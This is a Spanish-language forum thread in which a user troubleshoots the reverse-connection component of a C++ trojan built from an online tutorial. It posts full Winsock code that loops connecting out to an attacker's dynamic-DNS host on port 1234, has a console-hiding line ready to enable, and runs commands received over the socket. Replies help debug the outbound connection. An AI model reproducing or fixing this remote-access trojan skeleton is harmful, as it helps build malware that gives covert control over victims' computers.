Título: Duda sobre conexion inversa
Publicado por: Mr.Blue en 23 Agosto 2010, 02:39 am
hola gente les comento, tengo una duda sobre la conexion inversa en mi programa tengo esta linea host=gethostbyname("ejemplo.no-ip.biz");
Pero no me lo toma no hay error en la compilacion porsupuesto, pero no me permite conectar al no ip Tengo un router entonces abro el puerto que indico en el codigo ej: 1234 Pero no me puedo visualizar en el cliente, cuando ejecuto el server. Puede ser que tenga algo que ver con el firewall? Intente de dos maneras una con el no-ip y otra poniendo localhost y en esta si funciona. Saludos PD: Todo el codigo es el explicado por EON en el tutorial de como crear un troyano C++ y VB 6.0.
Título: Re: Duda sobre conexion inversa
Publicado por: [L]ord [R]NA en 23 Agosto 2010, 03:45 am
puedes mostrar el codigo con el cual te estas tratando de conectar?
Título: Re: Duda sobre conexion inversa
Publicado por: Mr.Blue en 23 Agosto 2010, 04:18 am
#include <winsock2.h> #include <windows.h> #include <string> #include "c:/Dev-Cpp/Módulos/funVarias.h" #include "c:/Dev-Cpp/Módulos/mensajes.h" #pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock int main(void) { //ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la consola y poner el programa como proceso. Por ahora la dejamos asi. WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD SOCKET sock; struct hostent *host; struct sockaddr_in direc; int conex; char Buffer[1024]; int len; //Inicializamos WSAStartup(MAKEWORD(2,2),&wsa); //Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para hacer las pruevas host=gethostbyname("localhost"); //localhost = 127.0.0.1 ;P //creamos el socket sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (sock==-1) { //Si se produce un error al crear el socket main(); //Llamamos de nuevo a la función principal para seguir intentandolo } //Definimos la dirección a conectar que hemos recibido desde el gethostbyname //y decimos que el puerto al que deberá conectar direc.sin_family=AF_INET; direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el usuario cuando hagamos el server edit direc.sin_addr = *((struct in_addr *)host->h_addr); memset(direc.sin_zero,0,8); //Intentamos establecer la conexión hasta que lo logremos conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); while (conex==-1) { //Esto es lo que hará si no se puede conetar: Sleep(100); //Hacemos q el programa se detenga un poco, cuando se termine el troyano conviene subir este intervalo //Por ahora lo dejamos asi para hacer mas comodas las pruevas conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos establecer la conexión de nuevo hasta que lo logremos. } len=send(sock,"hola",4,0); //Como somos muy educados saludamos xDD el 4 despues del hola indica el nº de //caracteres a enviar while (len!=0) //Mientras que permanezcamoos conectados { len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie std::string sBuffer(Buffer); if (len>0) //Si seguimos conectados... { Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena if (Split(sBuffer, '|', 0) == "mensj") { //Llamamos a la funcion q muestra los mensajes mostrarMsj(Split(sBuffer, '|', 1),Split(sBuffer, '|', 2), Split(sBuffer, '|', 3)); } } } main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando conectarse return 0; }
Si este es el codigo del tuto de EON. Simplemente lo q quiero hacer es cambiar el localhost a un no-ip. pero no lo logro hacer funcar, cambio el localhost por mi no-ip y abro el puerto indicado desde mi router. Pero en el cliente no aparesco.
Título: Re: Duda sobre conexion inversa
Publicado por: winnipu en 26 Agosto 2010, 00:15 am
has probado en otro puerto por ej digamos vicentico.
Título: Re: Duda sobre conexion inversa
Publicado por: Mr.Blue en 26 Agosto 2010, 03:23 am
?
el problema creo q esta en usar gethostbyname voy a intentar con otra getadderinfo
Título: Re: Duda sobre conexion inversa
Publicado por: fary en 26 Agosto 2010, 04:59 am
llama a GetlastError y comprueba en que api esta el error, capaz que estas buscando en lugar equivocado el error ;)
salu2!
Título: Re: Duda sobre conexion inversa
Publicado por: Mr.Blue en 27 Agosto 2010, 03:23 am
mmm.. tengo algunos problemas al utilizar GetlastError, revisado la MSDN, vi un ejemplo de como usarla pero al momento de compilar me salen algunos errores, creo que es por el IDE del compilador que tengo Dev-C++
Esto es lo q me tira el compilador StringCchPrintf #include <strsafe.h> ---> esta libreria falta.
Hay algun reemplazo para esta libreria, para el ide q tengo? O mejor cambio a VC++
|